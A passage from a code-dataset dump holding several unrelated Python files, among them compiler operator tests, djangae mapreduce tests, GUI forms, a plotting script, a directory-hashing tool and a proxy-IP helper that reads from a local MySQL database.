int\n\t\treturn 1 + right\n\"\"\"\t\t\n\t\twith self.assertRaises(ErrorTaxon) as cm:\n\t\t\tmodule = WppCore.createMemModule(source, 'WrongOp.wpp')\n\t\tself.assertEqual(cm.exception.args[0], 'Unable to override \"?\" operator')\n\n\tdef testSimple(self):\n\t\tsource = \"\"\"\nclass simple Point\n\tfield public x: double\n\tfield public y: double\n\tconstructor\n\t\tautoinit x = 0\n\t\tautoinit y = 0\n\toperator const +: Point\n\t\tparam right: const ref Point\n\t\treturn Point(x + right.x, y + right.y)\n\nvar const a: Point = Point(11, 22)\nvar const b: Point = Point(0, -1)\nvar const c: Point = a + b\n\"\"\"\n\t\tmodule = WppCore.createMemModule(source, 'simple.wpp')\n\t\tctx = OutContextMemoryStream()\n\t\tmodule.export(ctx)\n\t\tself.assertEqual(str(ctx), module.strPack(source))\n\n\tdef testSimpleErr(self):\n\t\tsource = \"\"\"\nclass simple Point\n\tfield public x: double\n\tfield public y: double\n\tconstructor\n\t\tautoinit x = 0\n\t\tautoinit y = 0\n\toperator const *: Point\n\t\tparam right: double\n\t\treturn Point(x * right, y * right)\n\nvar const a: Point = Point(11, 22)\nvar const b: Point = Point(0, -1)\nvar const c: Point = a * b\n\"\"\"\n\t\twith self.assertRaises(ErrorTaxon) as cm:\n\t\t\tmodule = WppCore.createMemModule(source, 'simpleErr.wpp')\n\t\tself.assertEqual(cm.exception.args[0], 'Not found operator *(simple class Point, simple class Point)')\n\t\tself.assertEqual(cm.exception.args[1], ('simpleErr.wpp', 14, 'var const c: Point = a * b'))\n\n\tdef testOverload(self):\n\t\tsource = \"\"\"\nclass simple Point\n\tfield public x: double\n\tfield public y: double\n\tconstructor\n\t\tautoinit x = 0\n\t\tautoinit y = 0\n\toperator const overload +: Point\n\t\taltName addNum\n\t\tparam k: double\n\t\treturn Point(x + k, y - k)\n\toperator const overload +: Point\n\t\taltName addPoint\n\t\tparam pt: const ref Point\n\t\treturn Point(x + pt.x, y + pt.y)\nvar const a: Point = Point(11, 22)\nvar const b: Point = a + 1.5\nvar const c: Point = a + b\n\"\"\"\n\t\tmodule = WppCore.createMemModule(source, 'overload.wpp')\n\t\tctx = OutContextMemoryStream()\n\t\tmodule.export(ctx)\n\t\tself.assertEqual(str(ctx), module.strPack(source))\n\n\tdef testOverloadErr(self):\n\t\tsource = \"\"\"\nclass simple One\n\toperator overload +: long\n\t\tparam n: long\n\t\treturn n + 1\n\toperator overload +: unsigned long\n\t\tparam n: unsigned long\n\t\treturn n + 1\nvar s: long = One() + 20\n\"\"\"\n\t\twith self.assertRaises(ErrorTaxon) as cm:\n\t\t\tmodule = WppCore.createMemModule(source, 'overloadErr.wpp')\n\t\tself.assertEqual(cm.exception.args[0], 'Multiple declarations for operator +(simple class One, int(20))')\n\n\tdef testRight(self):\n\t\tsource = \"\"\"\nclass simple Point\n\tfield public x: double\n\tfield public y: double\n\tconstructor\n\t\tautoinit x = 0\n\t\tautoinit y = 0\n\toperator const right *: Point\n\t\tparam left: double\n\t\treturn Point(left * x, left * y)\n\nvar const a: Point = 1.23 * Point(11, 22)\n\"\"\"\n\t\tmodule = WppCore.createMemModule(source, 'right.wpp')\n\t\ta = module.findItem('a')\n\t\tv = a.getValueTaxon()\n\t\tself.assertEqual(v.type, 'binop')\n\t\tdecl = v.getDeclaration()\n\t\tself.assertEqual(decl.type, 'operator')\n\t\tself.assertEqual(decl.name, '*')\n\t\tctx = OutContextMemoryStream()\n\t\tmodule.export(ctx)\n\t\tself.assertEqual(str(ctx), module.strPack(source))\n\n\tdef testRightOver(self):\n\t\tsource = \"\"\"\nclass simple Point\n\tfield public x: double\n\tfield public y: double\n\tconstructor\n\t\tautoinit x = 0\n\t\tautoinit y = 0\n\toperator const overload right *: Point\n\t\taltName rightMul\n\t\tparam left: double\n\t\treturn Point(left * x, left * y)\n\toperator const overload *: Point\n\t\taltName leftMul\n\t\tparam right: double\n\t\treturn Point(x * right, y * right)\nvar const a: Point = 1.23 * Point(11, 22)\nvar const b: Point = Point(1.1, 2.2) * 3.3\n\"\"\"\n\t\tmodule = WppCore.createMemModule(source, 'right.wpp')\n\n\t\ta = module.findItem('a')\n\t\tdecl = a.getValueTaxon().getDeclaration()\n\t\tself.assertEqual(TaxonAltName.getAltName(decl), 'rightMul')\n\t\tb = module.findItem('b')\n\t\tdecl = b.getValueTaxon().getDeclaration()\n\t\tself.assertEqual(TaxonAltName.getAltName(decl), 'leftMul')\n\n\t\tctx = OutContextMemoryStream()\n\t\tmodule.export(ctx)\n\t\tself.assertEqual(str(ctx), module.strPack(source))\n","sub_path":"src3/Wpp/tests/testWppOperator.py","file_name":"testWppOperator.py","file_ext":"py","file_size_in_byte":4601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"95396573","text":"\nfrom collections.abc import Iterable\n \nformer_list = [[1,'a',['cat'],2],[[[3]],'dog'],4,5]\n\n\nnew_list = []\ndef flatten_list(list):\n \n for i in list:\n if isinstance(i, Iterable) and type(i) != str:\n flatten_list(i)\n \n else:\n new_list.append(i)\n \n \n return new_list\n \n\nflatten_list(liste)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef fun(liste):\n new_list = list(reversed(liste))\n for i in new_list:\n i.reverse()\n \n return new_list\n\nprint(fun(liste))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"odevpython.py","file_name":"odevpython.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"488608245","text":"import socket\nfrom unittest import TestCase\nfrom unittest import skip\nfrom urllib import request\nfrom urllib.request import Request\n\nfrom app.Models import ProxyServer\nfrom app.Proxy import proxy_test, get_proxy_list, proxy_setting\n\n\nclass TestProxy(TestCase):\n def test_no_proxy(self):\n result = proxy_test()\n self.assertEqual(result, True, \"no proxy, can't visit google\")\n\n @skip(\"demonstrating skipping\")\n def test_setting_proxy(self):\n get_proxy_list()\n\n def test_proxy(self):\n result = proxy_setting([self.proxy])\n self.assertEqual(result, True, \"set proxy, can visit google\")\n\n def setUp(self):\n self.proxy = ProxyServer(proxy_address=\"http://10.222.124.59:23/\", speed='100kbit')\n\n def test_machine_host_getadd_is_ok(self):\n print(socket.getaddrinfo('10.222.124.59', 23))\n\n def test_proxy_is_ok(self):\n proxy = \"http://10.222.124.59:808/\"\n proxy_support = request.ProxyHandler({'http': proxy})\n # Build opener with ProxyHandler object\n opener = request.build_opener(proxy_support)\n # Install opener to request\n request.install_opener(opener)\n # Open url\n rs = Request('http://www.google.com', headers={\n 'User-Agent': 'User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'})\n r = request.urlopen(rs, timeout=1000)\n print(r.getcode())\n self.assertEqual(r.getcode(), 200, 'pass testing')\n","sub_path":"Source/test/proxy_test.py","file_name":"proxy_test.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"102872798","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 8 11:48:48 2019\n\n@author: kemcrimmins\n\"\"\"\n\ndef findAnEven(L):\n \"\"\"Assumes L is a list of integers\n Returns the first even number in L\n Raises ValueError if L does not contain an even number\"\"\"\n \n for k in L:\n if k%2 == 0:\n return k\n raise ValueError('The list does not contain an even number')\n \ndef findAnEven2(L):\n \"\"\"The findAnEven function doesn't use try, so maybe it's\n not using raise correctly.\"\"\"\n \n try:\n for k in L:\n if k%2 == 0:\n return k\n except:\n raise ValueError('The list does not contain an even number')","sub_path":"fingerExercises/fingerExercise7-2.py","file_name":"fingerExercise7-2.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"630990996","text":"import time\n\nfrom mapreduce import output_writers\nfrom django.db import models\nfrom djangae.test import TestCase\nfrom unittest import skipIf\n\nfrom django.db import connection\nfrom django.core.files.base import ContentFile\nfrom djangae.storage import CloudStorage, has_cloudstorage\nfrom django.test.utils import override_settings\nfrom djangae.contrib.processing.mapreduce import (\n map_files,\n map_queryset,\n map_entities,\n map_reduce_queryset,\n map_reduce_entities,\n get_pipeline_by_id,\n)\n\nfrom google.appengine.api import datastore\n\n\nclass TestModel(models.Model):\n class Meta:\n app_label = \"mapreduce\"\n\n is_true = models.BooleanField(default=False)\n text = models.CharField(null=True, max_length=50)\n\n\nclass Counter(models.Model):\n count = models.PositiveIntegerField(default=0)\n\n\ndef count(instance, counter_id):\n counter = Counter.objects.get(pk=counter_id)\n counter.count = models.F('count') + 1\n counter.save()\n\ndef slow_count(instance, counter_id, sleep_duration):\n time.sleep(sleep_duration)\n count(instance, counter_id)\n\ndef count_entity_to_default_counter(entity):\n \"\"\" Dirty hack to work around the fact that when using `map_reduce_entities` we cannot pass\n any params to the map_func, and therefore this function only accepts a single arg of the\n `entity` and just assumes that there's only 1 Counter object!\n \"\"\"\n counter = Counter.objects.get()\n counter.count = models.F('count') + 1\n counter.save()\n\n\ndef count_contents(file_obj, counter_id):\n counter = Counter.objects.get(pk=counter_id)\n counter.count = models.F('count') + len(file_obj.read())\n counter.save()\n\n\ndef yield_letters(instance):\n if hasattr(instance, 'text'):\n text = instance.text\n else:\n text = instance.get('text', '')\n for letter in text:\n yield (letter, \"\")\n\n\ndef reduce_count(key, values):\n yield (key, len(values))\n\n\ndef delete(*args, **kwargs):\n TestModel.objects.all().delete()\n\nclass MapReduceEntityTests(TestCase):\n\n def setUp(self):\n for i in range(5):\n TestModel.objects.create(\n id=i+1,\n text=\"abcc-%s\" % i\n )\n\n def test_filters(self):\n \"\"\" Passing the `_filters` kwarg to to `map_reduce_entities` should allow only some\n entities to be processed.\n \"\"\"\n counter = Counter.objects.create()\n pipeline = map_reduce_entities(\n TestModel._meta.db_table,\n connection.settings_dict[\"NAMESPACE\"],\n count_entity_to_default_counter,\n reduce_count, # This is a no-op because count_entity doesn't return anything\n output_writers.GoogleCloudStorageKeyValueOutputWriter,\n _output_writer_kwargs={\n 'bucket_name': 'test-bucket'\n },\n _filters=[(\"text\", \"=\", \"abcc-3\")]\n )\n self.process_task_queues()\n # Refetch the pipeline record\n pipeline = get_pipeline_by_id(pipeline.pipeline_id)\n self.assertTrue(pipeline.has_finalized)\n # We expect only the one entity to have been counted\n counter.refresh_from_db()\n self.assertEqual(counter.count, 1)\n\n def test_mapreduce_over_entities(self):\n pipeline = map_reduce_entities(\n TestModel._meta.db_table,\n connection.settings_dict[\"NAMESPACE\"],\n yield_letters,\n reduce_count,\n output_writers.GoogleCloudStorageKeyValueOutputWriter,\n _output_writer_kwargs={\n 'bucket_name': 'test-bucket'\n }\n )\n self.process_task_queues()\n # Refetch the pipeline record\n pipeline = get_pipeline_by_id(pipeline.pipeline_id)\n self.assertTrue(pipeline.has_finalized)\n\n\nclass MapReduceQuerysetTests(TestCase):\n\n def setUp(self):\n for i in range(5):\n TestModel.objects.create(\n id=i+1,\n text=\"abcc\"\n )\n\n def test_mapreduce_over_queryset(self):\n pipeline = map_reduce_queryset(\n TestModel.objects.all(),\n yield_letters,\n reduce_count,\n output_writers.GoogleCloudStorageKeyValueOutputWriter,\n _output_writer_kwargs={\n 'bucket_name': 'test-bucket'\n }\n )\n self.process_task_queues()\n pipeline = get_pipeline_by_id(pipeline.pipeline_id)\n self.assertTrue(pipeline.has_finalized)\n\n\nclass MapQuerysetTests(TestCase):\n def setUp(self):\n for i in range(5):\n TestModel.objects.create(id=i+1)\n\n def test_filtering(self):\n counter = Counter.objects.create()\n pipeline = map_queryset(\n TestModel.objects.filter(is_true=True),\n count,\n finalize_func=delete,\n counter_id=counter.pk\n )\n counter = Counter.objects.create()\n self.process_task_queues()\n pipeline = get_pipeline_by_id(pipeline.pipeline_id)\n self.assertTrue(pipeline.has_finalized)\n counter.refresh_from_db()\n self.assertEqual(0, counter.count)\n\n def test_mapping_over_queryset(self):\n counter = Counter.objects.create()\n\n pipeline = map_queryset(\n TestModel.objects.all(),\n count,\n finalize_func=delete,\n counter_id=counter.pk\n )\n\n self.process_task_queues()\n pipeline = get_pipeline_by_id(pipeline.pipeline_id)\n self.assertTrue(pipeline.has_finalized)\n counter.refresh_from_db()\n\n self.assertEqual(5, counter.count)\n self.assertFalse(TestModel.objects.count())\n\n def test_slicing(self):\n counter = Counter.objects.create()\n\n pipeline = map_queryset(\n TestModel.objects.all(),\n slow_count,\n finalize_func=delete,\n counter_id=counter.pk,\n # mapreduce default slice duration is 15 seconds\n # slow down processing enough to split into two slices\n sleep_duration=4,\n _shards=1\n )\n\n self.process_task_queues()\n pipeline = get_pipeline_by_id(pipeline.pipeline_id)\n self.assertTrue(pipeline.has_finalized)\n counter.refresh_from_db()\n\n self.assertEqual(5, counter.count)\n self.assertFalse(TestModel.objects.count())\n\n def test_filters_apply(self):\n counter = Counter.objects.create()\n\n pipeline = map_queryset(\n TestModel.objects.filter(pk__gt=2),\n count,\n finalize_func=delete,\n counter_id=counter.pk\n )\n\n self.process_task_queues()\n pipeline = get_pipeline_by_id(pipeline.pipeline_id)\n self.assertTrue(pipeline.has_finalized)\n counter.refresh_from_db()\n\n self.assertEqual(3, counter.count)\n self.assertFalse(TestModel.objects.count())\n\n def test_no_start_pipeline(self):\n counter = Counter.objects.create()\n\n pipeline = map_queryset(\n TestModel.objects.all(),\n count,\n counter_id=counter.pk,\n start_pipeline=False\n )\n\n self.assertIsNone(pipeline._pipeline_key)\n\n@skipIf(not has_cloudstorage, \"Cloud Storage not available\")\nclass MapFilesTests(TestCase):\n @override_settings(CLOUD_STORAGE_BUCKET='test_bucket')\n def test_map_over_files(self):\n storage = CloudStorage()\n storage.save('a/b/c/tmp1', ContentFile('abcdefghi'))\n storage.save('c/tmp2', ContentFile('not matching pattern'))\n storage.save('a/d/tmp3', ContentFile('xxx'))\n\n counter = Counter.objects.create()\n pipeline = map_files(\n 'test_bucket',\n count_contents,\n filenames=['a/*'],\n counter_id=counter.pk\n )\n\n self.process_task_queues()\n pipeline = get_pipeline_by_id(pipeline.pipeline_id)\n self.assertTrue(pipeline.has_finalized)\n counter.refresh_from_db()\n self.assertEqual(12, counter.count)\n\n\ndef count_entity(entity, counter_id):\n assert isinstance(entity, datastore.Entity)\n\n counter = Counter.objects.get(pk=counter_id)\n counter.count = models.F('count') + 1\n counter.save()\n\n\nclass MapEntitiesTests(TestCase):\n def setUp(self):\n for i in range(5):\n TestModel.objects.create(id=i+1, text=str(i))\n\n def test_filters(self):\n counter = Counter.objects.create()\n\n pipeline = map_entities(\n TestModel._meta.db_table,\n connection.settings_dict['NAMESPACE'],\n count_entity,\n finalize_func=delete,\n counter_id=counter.pk,\n _filters=[(\"text\", \"=\", \"3\")]\n )\n\n self.process_task_queues()\n pipeline = get_pipeline_by_id(pipeline.pipeline_id)\n self.assertTrue(pipeline.has_finalized)\n counter.refresh_from_db()\n\n self.assertEqual(1, counter.count)\n self.assertFalse(TestModel.objects.count())\n\n def test_mapping_over_entities(self):\n counter = Counter.objects.create()\n\n pipeline = map_entities(\n TestModel._meta.db_table,\n connection.settings_dict['NAMESPACE'],\n count_entity,\n finalize_func=delete,\n counter_id=counter.pk\n )\n\n self.process_task_queues()\n pipeline = get_pipeline_by_id(pipeline.pipeline_id)\n self.assertTrue(pipeline.has_finalized)\n counter.refresh_from_db()\n\n self.assertEqual(5, counter.count)\n self.assertFalse(TestModel.objects.count())\n","sub_path":"djangae/contrib/processing/mapreduce/tests/helper_tests.py","file_name":"helper_tests.py","file_ext":"py","file_size_in_byte":9555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"263802143","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom tkinter.filedialog import askdirectory\n\nclass PyTest:\n def __init__(self, tab):\n self.tab = tab\n self.tab_py = ttk.Frame(self.tab)\n self.tab.add(self.tab_py, text='Python')\n self.var_in = tk.IntVar()\n self.var_in.set(0)\n self.var_out = tk.IntVar()\n self.var_out.set(0)\n self.creatViget()\n self.bindButton()\n self.gridVidgets()\n\n def creatViget(self):\n self.lab_in = tk.Label(self.tab_py, text=\"select input\", font=\"Arial 12\")\n\n self.rb_input_h = tk.Radiobutton(self.tab_py, text=\"horisontal\", variable=self.var_in, value=0)\n self.rb_input_v = tk.Radiobutton(self.tab_py, text=\"vertikal\", variable=self.var_in, value=1)\n self.lab_out = tk.Label(self.tab_py, text=\"select output\", font=\"Arial 12\")\n self.rb_out_h = tk.Radiobutton(self.tab_py, text=\"horizontal\", variable=self.var_out, value=0)\n self.rb_out_v = tk.Radiobutton(self.tab_py, text=\"vertikal\", variable=self.var_out, value=1)\n\n self.label_prog_dir = tk.Label(self.tab_py, text=\"slect directory students\")\n self.ent_prog_dir = tk.Entry(self.tab_py)\n self.button_select_st = tk.Button(self.tab_py, text=\"select\")\n self.label_test_dir = tk.Label(self.tab_py, text=\"select directory with test case\")\n self.ent_test_dir = tk.Entry(self.tab_py)\n self.button_select_case = tk.Button(self.tab_py, text=\"select\")\n self.button_start = tk.Button(self.tab_py, text=\"start\")\n\n def gridVidgets(self):\n self.lab_in.grid(column=0, row=0, padx=5, pady=10)\n self.rb_input_h.grid(column=0, row=1, sticky=\"w\", padx=10)\n self.rb_input_v.grid(column=0, row=2, sticky=\"w\", padx=10)\n self.lab_out.grid(column=0, row=3, sticky=\"w\", padx=5)\n self.rb_out_h.grid(column=0, row=4, sticky=\"w\", padx=10)\n self.rb_out_v.grid(column=0, row=5, sticky=\"w\", padx=10)\n\n self.label_prog_dir.grid(column=1, row=0)\n self.ent_prog_dir.grid(column=1, row=1)\n self.button_select_st.grid(column=2, row=1, sticky=\"w\")\n self.label_test_dir.grid(column=1, row=2)\n self.ent_test_dir.grid(column=1, row=3)\n self.button_select_case.grid(column=2, row=3, sticky=\"w\")\n self.button_start.grid(column=1, row=4)\n\n def bindButton(self):\n self.button_select_st.bind('', self.selectDirFiles)\n self.button_select_case.bind('', self.selctDirTests)\n self.button_start.bind('', self.printTest)\n\n def printTest(self, event):\n print(self.var_in.get())\n print(self.var_out.get())\n\n\n\n def selectDirFiles(self, event):\n os2 = askdirectory()\n self.ent_prog_dir.delete(0, tk.END)\n self.ent_prog_dir.insert(tk.END, os2)\n def selctDirTests(self, event):\n os1 = askdirectory()\n self.ent_test_dir.delete(0, tk.END)\n self.ent_test_dir.insert(tk.END, os1)\n\n def packTab(self):\n self.tab.pack(expand=1, fill='both')\n\nclass FileTst(PyTest):\n def __init__(self, tab):\n PyTest.__init__(self, tab)\n self.tab.add(self.tab_py, text='EXE')\n\n","sub_path":"win_py.py","file_name":"win_py.py","file_ext":"py","file_size_in_byte":3175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"287718736","text":"\n\nfrom xai.brain.wordbase.nouns._memory import _MEMORY\n\n#calss header\nclass _MEMORIES(_MEMORY, ):\n\tdef __init__(self,): \n\t\t_MEMORY.__init__(self)\n\t\tself.name = \"MEMORIES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"memory\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_memories.py","file_name":"_memories.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"479841258","text":"# inspiration from https://www.kaggle.com/goldendime/advanced-techniques-for-dealing-w-missing-data\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom loadData import preProcess, filterColumn\n\n# Load and preprocess data \nhun_df = preProcess('./data/athlete_events.csv')\n# select Summer Games only\nhun_df = filterColumn(hun_df, 'Season', 'Summer')\n# select a subset of the dataframe and drop duplicate ID from the same year\nhun_df = hun_df[['Year', 'ID', 'Height','Weight', 'Age', 'Sex']].drop_duplicates(['Year', 'ID']).reset_index(drop=True)\n\n# get the value counts for Height, Weight and Age values grouped by year\ngrouped_df = hun_df.groupby('Year')[['Height', 'Weight', 'Age']].count()\n\n# calculate the number of athletes for each Game and add the result to a column named Total\nnumber_of_athletes = hun_df['Year'].value_counts().sort_index()\ngrouped_df['Total'] = number_of_athletes.values\n\n#grouped_df.to_csv('./data/missing_values.csv')\n\nfig, ax = plt.subplots(figsize=(8,3))\ngrouped_df[['Height', 'Weight', 'Age', 'Total']].plot(ax=ax, linewidth=1.5)\n\nax.legend(bbox_to_anchor=(1.0, 1.0), frameon=False)\nax.set_xlabel('Year', size=14, labelpad=10)\nax.set_ylabel('Number of records', size=14, labelpad=10)\n#ax.set_title('Number of height, weight and age data points per year vs \\ntotal number of records per year', pad=20, weight='heavy')\n\nplt.tight_layout()\nplt.show()","sub_path":"data_visualization/src/missing_values.py","file_name":"missing_values.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"533035230","text":"\n\n\"\"\" Bla, bla, bla ...\nRecursive, distributed solution. Maintains an .ect file en every dir \"\"\"\n\nimport os\nimport datetime\nimport hashlib\n\nimport ec_tree_basics as ectb\n\n# CONSTANTS\nect_fn = \".ect\"\nmax_chunks = 1\n\n\ndef hashafile(str_full_path, algorithm='md5', max_chunks=0):\n if algorithm == 'sha1':\n hash_alg = hashlib.sha1() # Frequently used, speed access\n elif algorithm in hashlib.algorithms_available:\n hash_alg = hashlib.new(algorithm)\n else:\n hash_alg = hashlib.md5() # It's our default\n with open(str_full_path, \"rb\") as f:\n num_chunk = 0\n for chunk in iter(lambda: f.read(65536), b\"\"): # 64k buffer\n hash_alg.update(chunk)\n num_chunk += 1\n if max_chunks > 0 and num_chunk >= max_chunks:\n return hash_alg.hexdigest()\n return hash_alg.hexdigest()\n\n\ndef ect_upd_dir(str_dir):\n \"\"\" Updates the local .ect file with info on the local file in this dir\n The .ect file is only filled with short-hash and file-size - Long-hash is only calculated when needed.\n For files all ready in the .ect, data is only updated if the file is changed since the .ect record. \"\"\"\n\n def refresh_file_record(fil_n, dic_ect):\n str_hash = hashafile(str_dir + os.sep + fil_n, 'sha1', max_chunks)\n if str_hash not in dic_ect.keys(): # In the unlikely event that other files have same short-hash\n dic_ect[str_hash] = dict()\n dic_ect[str_hash][fil_n] = dict()\n dic_ect[str_hash][fil_n]['last_check'] = datetime.datetime.now().isoformat().replace('T', ' ')\n dic_ect[str_hash][fil_n]['size'] = os.stat(str_dir + os.sep + fil_n).st_size\n return dic_ect\n\n # Consider\n lst_nogo = [r\"/.cache/\", r\"/.PyCharmCE\", r\".eclipse\", r\".mozilla\", r\".thunderbird\", r\".config\", r\".local\", r\".git/\"]\n if any([nogo in str_dir for nogo in lst_nogo]):\n return # Don't .ect in these areas ...\n\n str_ect_ffn = str_dir + os.sep + ect_fn\n print(\"ect_upd: {}\".format(str_ect_ffn))\n dic_ect = ectb.read_ect_file(str_ect_ffn)\n\n # Remove .ect records for deleted files\n lst_removals = list()\n for has in dic_ect.keys():\n for fil in dic_ect[has].keys():\n if not os.path.isfile(os.path.join(str_dir, fil)):\n lst_removals.append((has, fil))\n for remo in lst_removals:\n del dic_ect[remo[0]]\n lst_removals = list()\n for has in dic_ect.keys():\n if len(dic_ect[has].keys()) == 0:\n lst_removals.append(has)\n for remo in lst_removals:\n del dic_ect[remo]\n\n # Refresh .ect for all existing files\n lst_only_files = [f for f in os.listdir(str_dir) if os.path.isfile(os.path.join(str_dir, f))]\n for fil_n in lst_only_files:\n if fil_n != ect_fn:\n ##print(\" > fil: {}\".format(str_dir + os.sep + fil_n))\n lst_hash_old = [key_short for key_short in dic_ect.keys() if fil_n in dic_ect[key_short].keys()]\n if len(lst_hash_old) > 0: # if itm is in existing .ect\n if len(lst_hash_old) == 1:\n ##print(\" existing: {}\".format(fil_n))\n bol_changed = False # Assume the file is unchanged, until proven otherwise.\n str_hash_old = lst_hash_old[0]\n # Check date\n flt_timestamp = os.path.getmtime(str_dir + os.sep + fil_n)\n ddt_file = datetime.datetime.fromtimestamp(flt_timestamp)\n str_last = dic_ect[str_hash_old][fil_n]['last_check']\n ddt_last = datetime.datetime.strptime(str_last, '%Y-%m-%d %H:%M:%S.%f')\n if ddt_file > ddt_last: # File was changed since last check\n print(\"File was changed DATE\")\n bol_changed = True\n # Check date and size\n num_size_file = os.stat(str_dir + os.sep + fil_n).st_size\n num_size_last = dic_ect[str_hash_old][fil_n]['size']\n if num_size_file != num_size_last:\n print(\"File was changed SIZE\")\n bol_changed = True\n if bol_changed: # File has changed, remap it ...\n if len(dic_ect[str_hash_old].keys()) > 1:\n del dic_ect[str_hash_old][fil_n]\n else:\n del dic_ect[str_hash_old]\n dic_ect = refresh_file_record(fil_n, dic_ect)\n else:\n print(\"Multible entries for file {} That is strange!!!\".format(fil_n))\n else: # file not known to .ect\n dic_ect = refresh_file_record(fil_n, dic_ect)\n ectb.write_ect_file(str_ect_ffn, dic_ect)\n\n\ndef ect(str_dir):\n \"\"\" Recursively call all sub-dirs, then make a .ect file with the local files only (can be empty) \"\"\"\n # First: Sub-dirs\n lst_only_dirs = [d for d in os.listdir(str_dir) if os.path.isdir(os.path.join(str_dir, d))]\n for itm in lst_only_dirs:\n ect(str_dir + os.sep + itm)\n # Second: Local files\n ect_upd_dir(str_dir)\n\n\nif __name__ == \"__main__\":\n #ect(__file__.rsplit(os.sep, 1)[0]) # run in current directory\n ect(r\"/home/martin/Downloads\") # run in specific directory\n\n","sub_path":"src/ver2x/ec_tree_build.py","file_name":"ec_tree_build.py","file_ext":"py","file_size_in_byte":5289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"278122011","text":"from django.urls import path\n\nfrom . import views\n\napp_name = \"myapp\"\n\nurlpatterns = [\n path('upload', views.upload,name='upload'),\n path('register', views.register, name='register'),\n path('login', views.login ,name='login'),\n path('signup', views.signup, name='signup'),\n #path('dashboard',views.dashboard,name='dashboard')\n #path('registration',views.regis,name='registration'),\n]\n","sub_path":"app1/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"83233858","text":"from PyQt5 import QtWidgets\nfrom sklearn.linear_model import ARDRegression\n\nfrom point_spectra_gui.ui.ARD import Ui_Form\nfrom point_spectra_gui.util.Modules import Modules\n\n\nclass Ui_Form(Ui_Form, ARDRegression, Modules):\n def setupUi(self, Form):\n super().setupUi(Form)\n self.checkMinAndMax()\n self.connectWidgets()\n\n def get_widget(self):\n return self.formGroupBox\n\n def setHidden(self, bool):\n self.get_widget().setHidden(bool)\n\n\n def toggle_params(self, widgets, state):\n for w in widgets:\n if state:\n w.setHidden(True)\n else:\n w.setHidden(False)\n\n def connectWidgets(self):\n alphawidgets = [self.alpha1Label, self.alpha1DoubleSpinBox, self.alpha2Label, self.alpha2DoubleSpinBox]\n lambdawidgets = [self.lambdaLabel, self.lambdaDoubleSpinBox, self.lambdaLabel_2, self.lambdaDoubleSpinBox_2]\n self.alpha_checkbox.stateChanged.connect(\n lambda: self.toggle_params(alphawidgets, self.alpha_checkbox.isChecked()))\n self.lambda_checkbox.stateChanged.connect(\n lambda: self.toggle_params(lambdawidgets, self.lambda_checkbox.isChecked()))\n self.alpha_checkbox.setChecked(True)\n self.lambda_checkbox.setChecked(True)\n\n\n def run(self):\n params = {\n 'n_iter': self.numOfIterationsSpinBox.value(),\n 'tol': self.toleranceDoubleSpinBox.value(),\n 'alpha_1': self.alpha1DoubleSpinBox.value(),\n 'alpha_2': self.alpha2DoubleSpinBox.value(),\n 'lambda_1': self.lambdaDoubleSpinBox.value(),\n 'lambda_2': self.lambdaDoubleSpinBox_2.value(),\n 'threshold_lambda': self.thresholdLambdaSpinBox.value(),\n 'fit_intercept': self.fitInterceptCheckBox.isChecked(),\n 'normalize': self.normalizeCheckBox.isChecked(),\n }\n return params, self.getChangedValues(params, ARDRegression())\n\n\nif __name__ == \"__main__\":\n import sys\n\n app = QtWidgets.QApplication(sys.argv)\n Form = QtWidgets.QWidget()\n ui = Ui_Form()\n ui.setupUi(Form)\n Form.show()\n sys.exit(app.exec_())\n","sub_path":"point_spectra_gui/core/regressionMethods/ARD.py","file_name":"ARD.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"464471241","text":"import pymysql\nimport requests\n\n\nclass GetRandomIP():\n def getip(self):\n conn = pymysql.connect(host=\"localhost\", port=3306, user=\"root\", password=\"liuzhiyu\", db=\"python77\",\n charset=\"utf8\")\n cursor = conn.cursor()\n # sql='select ipType,ipAddress,ipPort from proxyServer ORDER BY RAND() LIMIT 1'\n sql = 'select * from proxyServer ORDER BY RAND() LIMIT 1'\n cursor.execute(sql)\n one_ip_data = cursor.fetchall()[0]\n #eg:one_ip_data=(83, 'socks4/5', '113.121.245.231', '6675')\n print('-'*50)\n print('本次从数据库中获得的ip',one_ip_data)\n cursor.close()\n conn.close()\n return_val=self.verifyip(one_ip_data)\n # successIp='{}://{}:{}'.format(one_ip_data[1], one_ip_data[2], one_ip_data[3])\n if return_val:\n return '{}://{}:{}'.format(one_ip_data[1], one_ip_data[2], one_ip_data[3])\n else:\n return 0\n\n #验证ip是否有效\n def verifyip(self,one_ip_data):\n if one_ip_data[1]!='http' and one_ip_data[1]!='https':\n self.delip(one_ip_data)\n return 0\n type_ipaddress_port = 